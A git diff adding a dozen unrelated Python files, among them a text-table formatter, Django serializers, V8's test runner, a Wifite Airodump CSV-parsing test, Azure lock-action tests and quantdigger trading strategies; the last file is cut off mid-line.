+1,127 @@ +# -*- coding: utf-8 -*- +# +# Copyright 2020 University of Oslo, Norway +# +# This file is part of Cerebrum. +# +# Cerebrum is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# Cerebrum is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Cerebrum; if not, write to the Free Software Foundation, +# Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. +"""Functionality for generating plain text tables from tables represented by +lists +""" +from __future__ import unicode_literals + +from six import itertools + + +def get_cell_content(text, cell_width): + return text + (cell_width - len(text)) * ' ' + + +def get_cell_contents(texts, cell_widths): + return [get_cell_content(t, l) for t, l in zip(texts, cell_widths)] + + +def assemble_line(divider, cell_contents): + return divider + divider.join(cell_contents) + divider + + +def get_padded_contents(content, cell_height): + if isinstance(content, unicode): + content = [content] + content.extend(['' for x in range(len(content), cell_height)]) + return content + + +def assemble_row(divider, row, widths): + row_height = get_row_height(row) + content = [get_padded_contents(content, row_height) for content in row] + lines = [assemble_line(divider, get_cell_contents(c, widths)) for c in + transpose(content)] + return '\n'.join(lines) + + +def get_column_width(argument): + """Get the widest width of the columns given + + :type argument: list or unicode + """ + if isinstance(argument, unicode): + return len(argument) + if isinstance(argument, list): + return max(*map(get_column_width, argument)) + raise TypeError('Argument %s type: %s', argument, type(argument)) + + +def get_column_widths(columns): + """Get the width of each column + + :type columns: list + Example: + + >>> get_column_widths(['c1,r1', 'c1,r2', ['c1,r3,l1', 'c1,r3,l2']]) + 8 + """ + return map(get_column_width, columns) + + +def get_cell_height(cell_content): + if isinstance(cell_content, list): + return len(cell_content) + elif isinstance(cell_content, unicode): + return 1 + raise TypeError('Cell content type: %s', type(cell_content)) + + +def get_row_height(row): + return max(*map(get_cell_height, row)) + + +def transpose(table): + """Transpose a table represented by a list of lists + + Example: + + >>> transpose([[1, 2], [3, 4]]) + [[1, 3], [2, 4]] + """ + return list(itertools.imap(list, zip(*table))) + + +def get_table(table_rows): + """Assembles and returns a plain text table + + Given the rows which make up a table, a correctly formatted table is + returned. + + Example: + + >>> table = get_table([['This', 'is'], ['a', 'table']]) + >>> print(table) + +----+-----+ + |This|is | + +----+-----+ + |a |table| + +----+-----+ + """ + columns = transpose(table_rows) + column_widths = get_column_widths(columns) + separators = map(lambda length: length * '-', column_widths) + divider_line = assemble_line('+', separators) + + output_rows = '\n' + divider_line + '\n' + for row in table_rows: + row_content_lines = assemble_row('|', row, column_widths) + output_rows += row_content_lines + '\n' + divider_line + '\n' + return output_rows diff --git a/pool/shard000/Python/0008554_serializers.py b/pool/shard000/Python/0008554_serializers.py new file mode 100644 index 0000000000000000000000000000000000000000..6958f2da1dc71f0d81be1365809497d1a0660b76 --- /dev/null +++ b/pool/shard000/Python/0008554_serializers.py @@ -0,0 +1,91 @@ +from django.contrib.auth.models import Group, User + +from rest_framework import serializers + +from remo.api.serializers import BaseKPISerializer +from remo.base.templatetags.helpers import absolutify +from remo.profiles.models import FunctionalArea, UserProfile, MobilisingInterest, MobilisingSkill + + +class FunctionalAreaSerializer(serializers.ModelSerializer): + """Serializer for the FunctionalArea model.""" + + class Meta: + model = FunctionalArea + queryset = FunctionalArea.objects.filter(active=True) + fields = ['name'] + + +class MobilisingSkillSerializer(serializers.ModelSerializer): + """Serializer for the MobilisingSkill model.""" + + class Meta: + model = MobilisingSkill + queryset = MobilisingSkill.objects.filter(active=True) + fields = ['name'] + + +class MobilisingInterestSerializer(serializers.ModelSerializer): + """Serializer for the MobilisingInterest model.""" + + class Meta: + model = MobilisingInterest + queryset = MobilisingInterest.objects.filter(active=True) + fields = ['name'] + + +class UserSerializer(serializers.HyperlinkedModelSerializer): + """Serializer for the django User model.""" + display_name = serializers.ReadOnlyField(source='userprofile.display_name') + + class Meta: + model = User + fields = ['first_name', 'last_name', 'display_name', '_url'] + + +class GroupSerializer(serializers.ModelSerializer): + """Serializer for the Group model.""" + + class Meta: + model = Group + fields = ['name'] + + +class UserProfileDetailedSerializer(serializers.HyperlinkedModelSerializer): + """Detailed serializer for the UserProfile model.""" + first_name = serializers.ReadOnlyField(source='user.first_name') + last_name = serializers.ReadOnlyField(source='user.last_name') + mentor = UserSerializer() + groups = GroupSerializer(source='user.groups', many=True) + functional_areas = FunctionalAreaSerializer(many=True) + mobilising_skills = MobilisingSkillSerializer(many=True) + mobilising_interests = MobilisingInterestSerializer(many=True) + remo_url = serializers.SerializerMethodField() + date_joined_program = serializers.DateTimeField(format='%Y-%m-%d') + date_left_program = serializers.DateTimeField(format='%Y-%m-%d') + + class Meta: + model = UserProfile + # Todo add logic for mozillians_username + fields = ['first_name', 'last_name', 'display_name', + 'date_joined_program', 'date_left_program', 'city', 'region', + 'country', 'twitter_account', 'jabber_id', 'irc_name', + 'wiki_profile_url', 'irc_channels', 'linkedin_url', + 'facebook_url', 'diaspora_url', 'functional_areas', 'mobilising_skills', + 'mobilising_interests', 'bio', 'mentor', 'mozillians_profile_url', + 'timezone', 'groups', 'remo_url'] + + def get_remo_url(self, obj): + """ + Default method for fetching the profile url for the user + in ReMo portal. + """ + return absolutify(obj.get_absolute_url()) + + +class PeopleKPISerializer(BaseKPISerializer): + """Serializer for people (Reps) data.""" + inactive_week = serializers.IntegerField() + casual_week = serializers.IntegerField() + active_week = serializers.IntegerField() + core_week = serializers.IntegerField() diff --git a/pool/shard000/Python/0008556_testSwitch.py b/pool/shard000/Python/0008556_testSwitch.py new file mode 100644 index 0000000000000000000000000000000000000000..e77f5364fb81d1cb34a083aace70d7b47d3f8fc6 --- /dev/null +++ b/pool/shard000/Python/0008556_testSwitch.py @@ -0,0 +1,13 @@ +import RPi.GPIO as GPIO +import time + +waitTime = 2 +outPin = 24 +GPIO.setmode(GPIO.BOARD) +GPIO.setup(outPin, GPIO.OUT, pull_up_down = GPIO.PUD_DOWN) + +while True: + GPIO.output(outPin,True) ## This triggers the switch + time.sleep(waitTime) + GPIO.output(outPin, False) + time.sleep(waitTime) diff --git a/pool/shard000/Python/0008557_execution.py b/pool/shard000/Python/0008557_execution.py new file mode 100644 index 0000000000000000000000000000000000000000..ac69eab3c912c81f4a7eeb78ab727a0055e6503f --- /dev/null +++ b/pool/shard000/Python/0008557_execution.py @@ -0,0 +1,168 @@ +# Copyright 2012 the V8 project authors. All rights reserved. +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are +# met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above +# copyright notice, this list of conditions and the following +# disclaimer in the documentation and/or other materials provided +# with the distribution. +# * Neither the name of Google Inc. nor the names of its +# contributors may be used to endorse or promote products derived +# from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +import os +import time + +from pool import Pool +from . import commands +from . import perfdata +from . import utils + + +class Job(object): + def __init__(self, command, dep_command, test_id, timeout, verbose): + self.command = command + self.dep_command = dep_command + self.id = test_id + self.timeout = timeout + self.verbose = verbose + + +def RunTest(job): + start_time = time.time() + if job.dep_command is not None: + dep_output = commands.Execute(job.dep_command, job.verbose, job.timeout) + # TODO(jkummerow): We approximate the test suite specific function + # IsFailureOutput() by just checking the exit code here. Currently + # only cctests define dependencies, for which this simplification is + # correct. + if dep_output.exit_code != 0: + return (job.id, dep_output, time.time() - start_time) + output = commands.Execute(job.command, job.verbose, job.timeout) + return (job.id, output, time.time() - start_time) + +class Runner(object): + + def __init__(self, suites, progress_indicator, context): + datapath = os.path.join("out", "testrunner_data") + self.perf_data_manager = perfdata.PerfDataManager(datapath) + self.perfdata = self.perf_data_manager.GetStore(context.arch, context.mode) + self.tests = [ t for s in suites for t in s.tests ] + if not context.no_sorting: + for t in self.tests: + t.duration = self.perfdata.FetchPerfData(t) or 1.0 + self.tests.sort(key=lambda t: t.duration, reverse=True) + self._CommonInit(len(self.tests), progress_indicator, context) + + def _CommonInit(self, num_tests, progress_indicator, context): + self.indicator = progress_indicator + progress_indicator.runner = self + self.context = context + self.succeeded = 0 + self.total = num_tests + self.remaining = num_tests + self.failed = [] + self.crashed = 0 + + def Run(self, jobs): + self.indicator.Starting() + self._RunInternal(jobs) + self.indicator.Done() + if self.failed or self.remaining: + return 1 + return 0 + + def _RunInternal(self, jobs): + pool = Pool(jobs) + test_map = {} + # TODO(machenbach): Instead of filling the queue completely before + # pool.imap_unordered, make this a generator that already starts testing + # while the queue is filled. + queue = [] + queued_exception = None + for test in self.tests: + assert test.id >= 0 + test_map[test.id] = test + try: + command = self.GetCommand(test) + except Exception, e: + # If this failed, save the exception and re-raise it later (after + # all other tests have had a chance to run). + queued_exception = e + continue + timeout = self.context.timeout + if ("--stress-opt" in test.flags or + "--stress-opt" in self.context.mode_flags or + "--stress-opt" in self.context.extra_flags): + timeout *= 4 + if test.dependency is not None: + dep_command = [ c.replace(test.path, test.dependency) for c in command ] + else: + dep_command = None + job = Job(command, dep_command, test.id, timeout, self.context.verbose) + queue.append([job]) + try: + it = pool.imap_unordered(RunTest, queue) + for result in it: + test = test_map[result[0]] + self.indicator.AboutToRun(test) + test.output = result[1] + test.duration = result[2] + has_unexpected_output = test.suite.HasUnexpectedOutput(test) + if has_unexpected_output: + self.failed.append(test) + if test.output.HasCrashed(): + self.crashed += 1 + else: + self.succeeded += 1 + self.remaining -= 1 + try: + self.perfdata.UpdatePerfData(test) + except Exception, e: + print("UpdatePerfData exception: %s" % e) + pass # Just keep working. + self.indicator.HasRun(test, has_unexpected_output) + finally: + pool.terminate() + self.perf_data_manager.close() + if queued_exception: + raise queued_exception + + + def GetCommand(self, test): + d8testflag = [] + shell = test.suite.shell() + if shell == "d8": + d8testflag = ["--test"] + if utils.IsWindows(): + shell += ".exe" + cmd = (self.context.command_prefix + + [os.path.abspath(os.path.join(self.context.shell_dir, shell))] + + d8testflag + + ["--random-seed=%s" % self.context.random_seed] + + test.suite.GetFlagsForTestCase(test, self.context) + + self.context.extra_flags) + return cmd + + +class BreakNowException(Exception): + def __init__(self, value): + self.value = value + def __str__(self): + return repr(self.value) diff --git a/pool/shard000/Python/0008559_dialogflow_v2_generated_participants_list_participants_async.py b/pool/shard000/Python/0008559_dialogflow_v2_generated_participants_list_participants_async.py new file mode 100644 index 0000000000000000000000000000000000000000..9f001764a0f41489355c4bfda729cd8146f7d706 --- /dev/null +++ b/pool/shard000/Python/0008559_dialogflow_v2_generated_participants_list_participants_async.py @@ -0,0 +1,46 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for ListParticipants +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-dialogflow + + +# [START dialogflow_v2_generated_Participants_ListParticipants_async] +from google.cloud import dialogflow_v2 + + +async def sample_list_participants(): + # Create a client + client = dialogflow_v2.ParticipantsAsyncClient() + + # Initialize request argument(s) + request = dialogflow_v2.ListParticipantsRequest( + parent="parent_value", + ) + + # Make the request + page_result = client.list_participants(request=request) + + # Handle the response + async for response in page_result: + print(response) + +# [END dialogflow_v2_generated_Participants_ListParticipants_async] diff --git a/pool/shard000/Python/0008561_chooser.py b/pool/shard000/Python/0008561_chooser.py new file mode 100644 index 0000000000000000000000000000000000000000..3a67c3ec4cd172fce64deeee68d1647c3628d89f --- /dev/null +++ b/pool/shard000/Python/0008561_chooser.py @@ -0,0 +1,59 @@ +import json +from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage + +from six import text_type + +from django.core.urlresolvers import reverse +from django.shortcuts import get_object_or_404 + +from wagtail.wagtailadmin.modal_workflow import render_modal_workflow + +from wagtail.wagtailsnippets.views.snippets import get_content_type_from_url_params, get_snippet_type_name + + +def choose(request, content_type_app_name, content_type_model_name): + content_type = get_content_type_from_url_params(content_type_app_name, content_type_model_name) + model = content_type.model_class() + snippet_type_name = get_snippet_type_name(content_type)[0] + + items = model.objects.all() + + p = request.GET.get("p", 1) + paginator = Paginator(items, 25) + + try: + paginated_items = paginator.page(p) + except PageNotAnInteger: + paginated_items = paginator.page(1) + except EmptyPage: + paginated_items = paginator.page(paginator.num_pages) + + return render_modal_workflow( + request, + 'wagtailsnippets/chooser/choose.html', 'wagtailsnippets/chooser/choose.js', + { + 'content_type': content_type, + 'snippet_type_name': snippet_type_name, + 'items': paginated_items, + } + ) + + +def chosen(request, content_type_app_name, content_type_model_name, id): + content_type = get_content_type_from_url_params(content_type_app_name, content_type_model_name) + model = content_type.model_class() + item = get_object_or_404(model, id=id) + + snippet_json = json.dumps({ + 'id': item.id, + 'string': text_type(item), + 'edit_link': reverse('wagtailsnippets_edit', args=(content_type_app_name, content_type_model_name, item.id,)) + }) + + return render_modal_workflow( + request, + None, 'wagtailsnippets/chooser/chosen.js', + { + 'snippet_json': snippet_json, + } + ) diff --git a/pool/shard000/Python/0008565_quantdigger_test.py b/pool/shard000/Python/0008565_quantdigger_test.py new file mode 100644 index 0000000000000000000000000000000000000000..f4bd3eff8ecf49b78dc2e62901480157fe5d93f7 --- /dev/null +++ b/pool/shard000/Python/0008565_quantdigger_test.py @@ -0,0 +1,75 @@ +#from quantdigger.engine.series import NumberSeries +#from quantdigger.indicators.common import MA +#from quantdigger.util import pcontract +from quantdigger import * +import six + +class DemoStrategy(Strategy): + """ 策略A1 """ + + def on_init(self, ctx): + """初始化数据""" + ctx.ma10 = MA(ctx.close, 10, 'ma10', 'y', 2) + ctx.ma20 = MA(ctx.close, 20, 'ma20', 'b', 2) + + def on_symbol(self, ctx): + """ 选股 """ + return + + def on_bar(self, ctx): + if ctx.curbar > 20: + if ctx.ma10[2] < ctx.ma20[2] and ctx.ma10[1] > ctx.ma20[1]: + ctx.buy(ctx.close, 1) + elif ctx.pos() > 0 and ctx.ma10[2] > ctx.ma20[2] and \ + ctx.ma10[1] < ctx.ma20[1]: + ctx.sell(ctx.close, ctx.pos()) + + def on_exit(self, ctx): + return + +class DemoStrategy2(Strategy): + """ 策略A2 """ + + def on_init(self, ctx): + """初始化数据""" + ctx.ma5 = MA(ctx.close, 5, 'ma5', 'y', 2) + ctx.ma10 = MA(ctx.close, 10, 'ma10', 'black', 2) + + def on_symbol(self, ctx): + """ 选股 """ + return + + def on_bar(self, ctx): + if ctx.curbar > 10: + if ctx.ma5[2] < ctx.ma10[2] and ctx.ma5[1] > ctx.ma10[1]: + ctx.buy(ctx.close, 1) + elif ctx.pos() > 0 and ctx.ma5[2] > ctx.ma10[2] and \ + ctx.ma5[1] < ctx.ma10[1]: + ctx.sell(ctx.close, ctx.pos()) + + def on_exit(self, ctx): + return + +if __name__ == '__main__': + ConfigUtil.set(source="tushare") + set_symbols(['300383']) + # 创建组合策略 + # 初始资金5000, 两个策略的资金配比为0.2:0.8 + profile = add_strategy([DemoStrategy('A1'), DemoStrategy2('A2')], { 'captial': 5000, + 'ratio': [0.2, 0.8] }) + run() + + # 绘制k线,交易信号线 + from quantdigger.digger import finance, plotting + plotting.plot_strategy(profile.data(0), profile.indicators(1), profile.deals(1)) + # 绘制策略A1, 策略A2, 组合的资金曲线 + curve0 = finance.create_equity_curve(profile.all_holdings(0)) + curve1 = finance.create_equity_curve(profile.all_holdings(1)) + curve = finance.create_equity_curve(profile.all_holdings()) + plotting.plot_curves([curve0.equity, curve1.equity, curve.equity], + colors=['r', 'g', 'b'], + names=[profile.name(0), profile.name(1), 'A0']) + # 绘制净值曲线 + plotting.plot_curves([curve.networth]) + # 打印统计信息 + six.print_(finance.summary_stats(curve, 252*4*60)) \ No newline at end of file diff --git a/pool/shard000/Python/0008575_test_Airodump.py b/pool/shard000/Python/0008575_test_Airodump.py new file mode 100644 index 0000000000000000000000000000000000000000..b67164058b5db7dc8a095192fc92c6a77ca3edb4 --- /dev/null +++ b/pool/shard000/Python/0008575_test_Airodump.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import sys +sys.path.insert(0, '..') + +from wifite.tools.airodump import Airodump + +import unittest + +class TestAirodump(unittest.TestCase): + ''' Test suite for Wifite's interaction with the Airodump tool ''' + + + def test_airodump_weird_characters(self): + csv_filename = self.getFile('airodump-weird-ssids.csv') + targets = Airodump.get_targets_from_csv(csv_filename) + + target = targets[0] + expected = 'Comma, no trailing space' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[1] + expected = '"Quoted ESSID, Comma, no trailing spaces. "' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[2] + expected = 'Comma, Trailing space ' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + target = targets[3] + expected = '"quote" comma, trailing space ' + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + + # Hidden access point + target = targets[4] + assert target.essid_known == False, 'ESSID full of null characters should not be known' + expected = None + assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) + assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len + + + def getFile(self, filename): + ''' Helper method to parse targets from filename ''' + import os, inspect + this_file = os.path.abspath(inspect.getsourcefile(self.getFile)) + this_dir = os.path.dirname(this_file) + return os.path.join(this_dir, 'files', filename) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard000/Python/0008577_parser.py b/pool/shard000/Python/0008577_parser.py new file mode 100644 index 0000000000000000000000000000000000000000..997d732c77c95bc9a3efaacfdeb4727aa594bf86 --- /dev/null +++ b/pool/shard000/Python/0008577_parser.py @@ -0,0 +1,84 @@ +#! /usr/bin/env python + +# Copyright (C) 2011-2013 Philipp Benner +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +import re + +from ..interface import * +from ..dpm import * + +# parse results partition +# ------------------------------------------------------------------------------ + +def parse_partition_identifier(partition_str, end): + # start is the position of '{', we want the identifier + # before this bracket + start = 0 + if not partition_str[end-1] == ':': + raise IOError('Invalid partition.') + for i in range(end-1,-1,-1): + if (partition_str[i] == ' ' or partition_str[i] == ','): + start = i+1 + break + return partition_str[start:end-1] + +def parse_partition_subsets(partition_str): + """Split the partition string into a list of its subsets.""" + stack = [] + for i, c in enumerate(partition_str): + if c == '{': + stack.append(i) + elif c == '}' and stack: + start = stack.pop() + identifier = parse_partition_identifier(partition_str, start) + yield identifier, partition_str[start + 1: i] + +def parse_partition_elements(subset_str, length): + """Split the string of a subset into its elements and parse them.""" + stack = [] + for i, c in enumerate(subset_str): + if c == '(': + stack.append(i) + elif c == ')' and stack: + start = stack.pop() + index = subset_str[start + 1: i].split(',') + rc = len(subset_str) > i+1 and subset_str[i+1] == '!' + yield range_t(index_t(int(index[0]), int(index[1])), length, rc) + +def parse_partition(partition_str): + partition = dpm_partition_t() + if (partition_str.strip() == "-"): + return partition + for identifier, subset in parse_partition_subsets(partition_str): + model_id = model_id_t() + model_id.name = identifier.split(":")[0] + model_id.length = int(identifier.split(":")[1]) + dpm_subset = dpm_subset_t(model_id) + for r in parse_partition_elements(subset, model_id.length): + dpm_subset.insert(r) + partition.append(dpm_subset) + return partition + +# parse partition list +# ------------------------------------------------------------------------------ + +def parse_partition_list(partition_list_str): + partition_list = dpm_partition_list_t() + for partition_str in partition_list_str.split('\n'): + if (partition_str.strip() != ""): + partition_list.append(parse_partition(partition_str)) + return partition_list diff --git a/pool/shard000/Python/0008579_test_lock_action.py b/pool/shard000/Python/0008579_test_lock_action.py new file mode 100644 index 0000000000000000000000000000000000000000..523e9d2aa42b70c0cd4d44a6d0426387bdf5f873 --- /dev/null +++ b/pool/shard000/Python/0008579_test_lock_action.py @@ -0,0 +1,174 @@ +# Copyright 2019 Microsoft Corporation +# +# Licensed under the Apache License, Version 2.0 (the 'License'); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an 'AS IS' BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from azure_common import BaseTest, arm_template +from c7n_azure.utils import ResourceIdParser +from jsonschema.exceptions import ValidationError +from c7n_azure.session import Session + +from c7n.utils import local_session + + +class LockActionTest(BaseTest): + + def setUp(self): + super(LockActionTest, self).setUp() + self.client = local_session(Session).client( + 'azure.mgmt.resource.locks.ManagementLockClient') + self.resources = [] + + def tearDown(self): + if self.resources: + self.assertEqual(len(self.resources), 1) + resource = self.resources[0] + if resource.get('resourceGroup') is None: + self.client.management_locks.delete_at_resource_group_level( + resource['name'], + resource['lock']) + else: + self.client.management_locks.delete_at_resource_level( + resource['resourceGroup'], + ResourceIdParser.get_namespace(resource['id']), + ResourceIdParser.get_resource_name(resource.get('c7n:parent-id')) or '', + ResourceIdParser.get_resource_type(resource['id']), + resource['name'], + resource['lock'] + ) + + def test_valid_policy(self): + policy = { + 'name': 'lock-cosmosdb', + 'resource': 'azure.cosmosdb', + 'actions': [ + { + 'type': 'lock', + 'lock-type': 'ReadOnly' + } + ], + } + + self.assertTrue(self.load_policy(data=policy, validate=True)) + + def test_invalid_policy(self): + # Missing lock-type parameter + policy = { + 'name': 'lock-cosmosdb', + 'resource': 'azure.cosmosdb', + 'actions': [ + { + 'type': 'lock' + } + ], + } + + with self.assertRaises(ValidationError): + self.load_policy(data=policy, validate=True) + + @arm_template('cosmosdb.json') + def test_lock_action_resource(self): + p = self.load_policy({ + 'name': 'lock-cosmosdb', + 'resource': 'azure.cosmosdb', + 'filters': [ + { + 'type': 'value', + 'key': 'name', + 'value': 'cctestcosmosdb' + } + ], + 'actions': [ + { + 'type': 'lock', + 'lock-type': 'ReadOnly' + } + ], + }) + self.resources = p.run() + self.assertEqual(len(self.resources), 1) + self.assertEqual(self.resources[0]['name'], 'cctestcosmosdb') + + locks = [r.serialize(True) for r in self.client.management_locks.list_at_resource_level( + 'test_cosmosdb', + 'Microsoft.DocumentDB', + '', + 'databaseAccounts', + 'cctestcosmosdb')] + + self.assertEqual(len(locks), 1) + self.assertEqual(locks[0]['properties']['level'], 'ReadOnly') + self.resources[0]['lock'] = locks[0]['name'] + + @arm_template('cosmosdb.json') + def test_lock_action_resource_group(self): + p = self.load_policy({ + 'name': 'lock-cosmosdb-rg', + 'resource': 'azure.resourcegroup', + 'filters': [ + { + 'type': 'value', + 'key': 'name', + 'value': 'test_cosmosdb' + } + ], + 'actions': [ + { + 'type': 'lock', + 'lock-type': 'CanNotDelete' + } + ], + }) + self.resources = p.run() + self.assertEqual(len(self.resources), 1) + self.assertEqual(self.resources[0]['name'], 'test_cosmosdb') + + locks = [r.serialize(True) for r in + self.client.management_locks.list_at_resource_group_level('test_cosmosdb')] + + self.assertEqual(len(locks), 1) + self.assertEqual(locks[0]['properties']['level'], 'CanNotDelete') + self.resources[0]['lock'] = locks[0]['name'] + + @arm_template('sqlserver.json') + def test_lock_action_child_resource(self): + p = self.load_policy({ + 'name': 'lock-sqldatabase', + 'resource': 'azure.sqldatabase', + 'filters': [ + { + 'type': 'value', + 'key': 'name', + 'value': 'cctestdb' + } + ], + 'actions': [ + { + 'type': 'lock', + 'lock-type': 'CanNotDelete' + } + ], + }) + self.resources = p.run() + self.assertEqual(len(self.resources), 1) + self.assertEqual(self.resources[0]['name'], 'cctestdb') + + locks = [r.serialize(True) for r in self.client.management_locks.list_at_resource_level( + 'test_sqlserver', + 'Microsoft.Sql/servers', + ResourceIdParser.get_resource_name(self.resources[0]['c7n:parent-id']), + 'databases', + 'cctestdb')] + + self.assertEqual(len(locks), 1) + self.assertEqual(locks[0]['properties']['level'], 'CanNotDelete') + self.resources[0]['lock'] = locks[0]['name'] diff --git a/pool/shard000/Python/0008586_init__.py b/pool/shard000/Python/0008586_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..d747d69b3bcc1907f4972281b525c7aa092197bc --- /dev/null +++ b/pool/shard000/Python/0008586_init__.py @@ -0,0 +1,96 @@ +# encoding: utf-8 +""" +This module contains the sole class named :class:`AKB48`. +""" + +import member as _member +import types + +__all__ = [ + 'AKB48', + ] + +class AKB48(object): + """ + This class handles queries against AKB48's members. + + Synopsys: + + >>> a48 = AKB48() + >>> a48.members() + (list of all the AKB48 members) + >>> a48.members('active') + (list of all the AKB48 members who are not graduated) + >>> a48.members('graduate') + (list of all the AKB48 members who are graduated) + >>> a48.select(team='A', _class=7) + (select all of the AKB48 members who belongs to team A and class 7) + """ + def __init__(self): + """Constructor""" + self.__members = [getattr(_member, name).info() for name in dir(_member) if isinstance(getattr(_member, name), types.ModuleType)] + + def members(self, type=None): + """ + Queries members against the AKB48 member database. + + :param type: which type of members to filter out + + 'active' + return only active members + 'graduate' + return only graduate members + """ + if type is None: + return self.__members + elif type == 'active': + return [member for member in self.__members if member['graduate_date'] is None] + elif type == 'graduate': + return [member for member in self.__members if member['graduate_date'] is not None] + else: + raise ValueError("invalid type: %s" % type) + + def select(self, **kwargs): + """ + Queries members against the AKB48 member database in detail. + + Note that this method only takes keyword arguments. + + :param type: filter by member type + + 'active' + return only active members + 'graduate' + return only graduate members + + :param _class: filter by member class + :param team: filter by the team where members belong + :param family_name_en: filter by the romaji representation of the members' family name + :param first_name_en: filter by the romaji representation of the members' first name + :param family_name_kana: filter by the hiragana representation of the members' family name + :param first_name_kana: filter by the hiragana representation of the members' first name + :param birthday: filter by birthday + :param graduate_date: filter by graduate date + :param hometown: filter by the name of the home town + :param nick: filter by nickname + """ + retval = [] + type = kwargs.get('type') + if type is not None: + del kwargs['type'] + klass = kwargs.get('_class') + if klass is not None: + del kwargs['_class'] + kwargs['class'] = klass + for member in self.__members: + matches = True + for k, v in kwargs.iteritems(): + matches = matches and member[k] == v + if type is not None: + if type == 'active': + matches = matches and member['graduate_date'] is None + elif type == 'graduate': + matches = matches and member['graduate_date'] is not None + if matches: + retval.append(member) + return retval diff --git a/pool/shard000/Python/0008587_test_gaussian_bayesian_network.py b/pool/shard000/Python/0008587_test_gaussian_bayesian_network.py new file mode 100644 index 0000000000000000000000000000000000000000..c485a7c0f504cbc3b5776fb40e315a1fb71bbdfe --- /dev/null +++ b/pool/shard000/Python/0008587_test_gaussian_bayesian_network.py @@ -0,0 +1,82 @@ +from __future__ import division +import pytest + +import os + +from bayesian.gaussian import MeansVector, CovarianceMatrix +from bayesian.gaussian_bayesian_network import * +from bayesian.examples.gaussian_bayesian_networks.river import ( + f_a, f_b, f_c, f_d) + + +def pytest_funcarg__river_graph(request): + g = build_graph(f_a, f_b, f_c, f_d) + return g + + +class TestGBN(): + + def test_get_joint_parameters(self, river_graph): + mu, sigma = river_graph.get_joint_parameters() + assert mu == MeansVector( + [[3], + [4], + [9], + [14]], + names=['a', 'b', 'c', 'd']) + assert sigma == CovarianceMatrix( + [[4, 4, 8, 12], + [4, 5, 8, 13], + [8, 8, 20, 28], + [12, 13, 28, 42]], + names=['a', 'b', 'c', 'd']) + + def test_query(self, river_graph): + result = river_graph.query(a=7) + mu = result['joint']['mu'] + sigma = result['joint']['sigma'] + assert mu == MeansVector([ + [8], + [17], + [26]], names=['b', 'c', 'd']) + assert sigma == CovarianceMatrix( + [[1, 0, 1], + [0, 4, 4], + [1, 4, 6]], + names=['b', 'c', 'd']) + + result = river_graph.query(a=7, c=17) + mu = result['joint']['mu'] + sigma = result['joint']['sigma'] + assert mu == MeansVector([ + [8], + [26]], names=['b', 'd']) + assert sigma == CovarianceMatrix( + [[1, 1], + [1, 2]], + names=['b', 'd']) + + result = river_graph.query(a=7, c=17, b=8) + mu = result['joint']['mu'] + sigma = result['joint']['sigma'] + assert mu == MeansVector([ + [26]], 